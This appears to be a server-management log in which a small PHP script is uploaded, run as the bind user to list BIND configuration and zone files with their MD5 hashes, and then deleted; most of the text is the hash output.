MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:32:24: Establishing a connection
2026-04-30 17:32:24: 

PUT: /tmp/pkp928413

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:32:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp928413; rm /tmp/pkp928413'

2026-04-30 17:32:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
